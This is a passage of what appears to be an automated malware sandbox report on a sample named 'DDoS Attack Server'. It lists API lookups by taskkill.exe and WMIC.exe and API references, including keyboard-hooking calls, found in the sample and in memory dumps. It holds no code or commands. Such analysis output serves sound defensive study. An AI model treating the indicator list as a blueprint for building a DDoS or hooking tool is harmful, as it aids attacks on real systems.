FreeLibraryWhenCallbackReturns (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter WinStationFreeMemory (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter WinStationCloseServer (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter WinStationOpenServerW (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter WinStationFreeGAPMemory (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter WinStationGetAllProcesses (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter WinStationEnumerateProcesses (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003940) "taskkill.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003940) "taskkill.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003940) "taskkill.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003940) "taskkill.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003940) "taskkill.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003940) "taskkill.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003940) "taskkill.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003940) "taskkill.exe" called "GetProcAddress" with a parameter WinStationFreeMemory (UID: 00000000-00003940) "taskkill.exe" called "GetProcAddress" with a parameter WinStationCloseServer (UID: 00000000-00003940) "taskkill.exe" called "GetProcAddress" with a parameter WinStationOpenServerW (UID: 00000000-00003940) "taskkill.exe" called "GetProcAddress" with a parameter WinStationFreeGAPMemory (UID: 00000000-00003940) "taskkill.exe" called "GetProcAddress" with a parameter WinStationGetAllProcesses (UID: 00000000-00003940) "taskkill.exe" called "GetProcAddress" with a parameter WinStationEnumerateProcesses (UID: 00000000-00003940) "taskkill.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003940) "WMIC.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006612) "WMIC.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007096) "WMIC.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007096) "WMIC.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007096) "WMIC.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007096) "WMIC.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007096) "WMIC.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007096) "WMIC.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00007096) "WMIC.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007096)30:T7041,Found reference to API (Indicator: "GetTempPath"; File: "DDoS Attack Server_ IP_ URL.bin") Found reference to API (Indicator: "GetObject"; File: "DDoS Attack Server_ IP_ URL.bin") Found reference to API (Indicator: "UnhookWindowsHookEx"; File: "DDoS Attack Server_ IP_ URL.bin") Found reference to API (Indicator: "SetWindowsHookEx"; File: "DDoS Attack Server_ IP_ URL.bin") Found reference to API (Indicator: "CallNextHookEx"; File: "DDoS Attack Server_ IP_ URL.bin") Found reference to API (Indicator: "LoadLibrary"; File: "DDoS Attack Server_ IP_ URL.bin") Found reference to API (Indicator: "GetLongPathNameA"; File: "rniw.exe.353619882") Found reference to API (Indicator: "SHBrowseForFolder"; File: "rniw.exe.353619882") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "rniw.exe.353619882") Found reference to API (Indicator: "GetEnvironmentVariableA"; File: "rniw.exe.353619882") Found reference to API (Indicator: "SetEnvironmentVariableA"; File: "rniw.exe.353619882") Found reference to API (Indicator: "CreateFileA"; File: "rniw.exe.353619882") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "PathCombineW"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "PathAppendW"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SHGetPathFromIDList"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SHBrowseForFolder"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "CharLowerA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "PostMessageA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetWindowThreadProcessId"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetForegroundWindow"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "IsWindowEnabled"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "EnumWindows"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetWindowTextA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SetRect"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "DrawTextA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetSysColor"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetSysColorBrush"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "CreateWindowExA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SetFocus"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "RedrawWindow"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "RemovePropA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "DefWindowProcA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SetPropA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetParent"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetPropA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetWindow"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SetActiveWindow"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "UnregisterClassA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "DestroyAcceleratorTable"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "LoadIconA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "LoadCursorA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "RegisterClassA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "AdjustWindowRectEx"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "CreateAcceleratorTableA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetMessageA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "TranslateAcceleratorA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetFocus"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetClientRect"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "FillRect"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "EnumChildWindows"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "DefFrameProcA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "IsChild"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetClassNameA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 